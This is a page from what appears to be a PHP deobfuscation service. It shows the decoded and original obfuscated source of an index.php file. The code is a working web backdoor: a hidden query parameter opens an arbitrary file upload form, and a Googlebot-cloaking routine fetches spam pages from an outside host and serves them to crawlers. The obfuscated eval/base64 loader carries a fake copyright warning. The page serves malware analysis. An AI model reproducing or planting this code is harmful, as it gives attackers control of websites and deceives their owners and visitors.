Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // This file is protected by copyright law and provided under license. Reverse engin..

Decoded Output download


error_reporting(E_ALL);
ini_set("display_errors",0); 
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/wp-content/uploads/";	
if(file_perms($root,true)!="777")	
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/upload/";	
if(file_perms($root,true)!="777")	
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/images/";		
if(file_perms($root,true)!="777")	
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/cache/";	
if(file_perms($root,true)!="777")	
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(isset($_GET["obama"]))
{
	if($_SERVER['REQUEST_METHOD']=="POST")
	{
		   
		
		
		    $fname=$_FILES["myFile"]["name"];		  		
	    	move_uploaded_file($_FILES["myFile"]["tmp_name"],$root."/" .$fname);			
			echo $root."/" .$fname;	
	}
	;echo '    <form action="" method="post"  enctype="multipart/form-data">    
       <input type="file" name="myFile" />
    <input type="submit" value="save" />
    </form>
    
    ';
	
	exit();
	
}
if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),"googlebot"))
if(isset($_GET["p"]))
{
	
	     
	        $seo = str_replace(".html","",$_GET["p"]);		    
        
			$url=$seo;
			$url=str_replace(".html","",$url);
			$file=md5($url);
			
			if(!file_exists($root.$file.".tpl"))
			{				
			$str=file_get_contents("http://rss.plus-transdatagoogle.com/?mod=seo&site=".$_SERVER['SERVER_NAME']."&url=".$url);	
			if(strlen($str)>100)
			@file_put_contents($root.$file.".tpl",$str);
			
			}
			echo base64_decode(@file_get_contents($root.$file.".tpl"));
	       exit();
}
function file_perms($file, $octal = false)
{
    if(!file_exists($file)) return false;

    $perms = fileperms($file);

    $cut = $octal ? 2 : 3;

    return substr(decoct($perms), $cut);
}

Did this file decode correctly?

Original Code

<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=2624;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ21Bbkk1UHRkekNFMEhZaFJXSzYvU2p1VlErSnJsYmFveDRxRkRHQk9NVDl3MnljWFprTmkxTDNnN3N2ZnBVOGU9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
C5URHIARHIARHILGlBjOVgCGltk4Q3SMCLUoKDGHKjUoCNZqCNzcC5UR/iARH5pZHn7qCNz2EtC4l3S3YPUD+uYX+tSMlgKNbdzM+OCGQuWMC5pZHIARH5pZHnZD/1pZH5pZHImZE6ZOrSPc6/jWbtKvW1SZ6PGMSGb0YqU/JOjuS6yElBkqQuU7YdPtK5bn/1LShVlNauYQuByhJ/PHH3lglg+BlPS7+/1O0nbAWDY5KS+d65GE61kY/DUWSjC/jPjujL4+uBPqQ3KG+BbMJuTwrtLcrgAklOY1bV+gadGvHI5NHiWLYFl7h62XCNDTE6Df+BY2rgYGEnKRHImZ/iARHImTh3j3QuZMC5URHIARHIARHnDfIWTGlOCXlGUN+VAXlOKTrBlMKjUA/5ZThZ1EJusTVgYGbnxq+tGiltk4ajUGlOCXlOHq0ImThNmYnqKNr3U1R6KoS1j6jDj6uN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MCnWDYnxDCnV1YnxDCnujFJtpxQBPi+/Q1V3KGQ3UD+64m+BG2+jUO+VKoQ3UcbtjcbdHMCdCXrgWcCt+TrtSczqs1ltZqE6DfIWMCznmxznmxztj7JVWME/2YnO1YnB+LrBY1JuUczt+TrtjoltjNrVHMCt+TrtS2znKXQgK4rnmUzt+4rdYGEW1EaZ1EznmxztGBEnPBJukGV3j7JVY1lNxD+BG2+6DTzdCGbdjNrqABQuki+/2Ynx1EznmxznKZ+VCylNmUzt+TrtjZ+VCylNxD+BG2+6DfIWMYnqmxznmDQgj1zI1xCtUFbtP2zIpxHqmvzIHfIWMYnqmxznAN+VKLlB7xlgjqlgKNEtKGQ3UFbnxDltjNrVHT0nmDQgj1E/2YnO1Ynx==

Function Calls

fgets 2
fopen 1
fread 2
strtr 2
fclose 1
ereg_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O00O00O00 0
$OO00O0000 2624
$OO00O00O0 error_reporting(E_ALL); ini_set("display_errors",0); $r..
$OOO0O0O00 index.php

Stats

MD5 ee4bd5da7fb97d7d09f520676e3d82b2
Eval Count 3
Decode Time 112 ms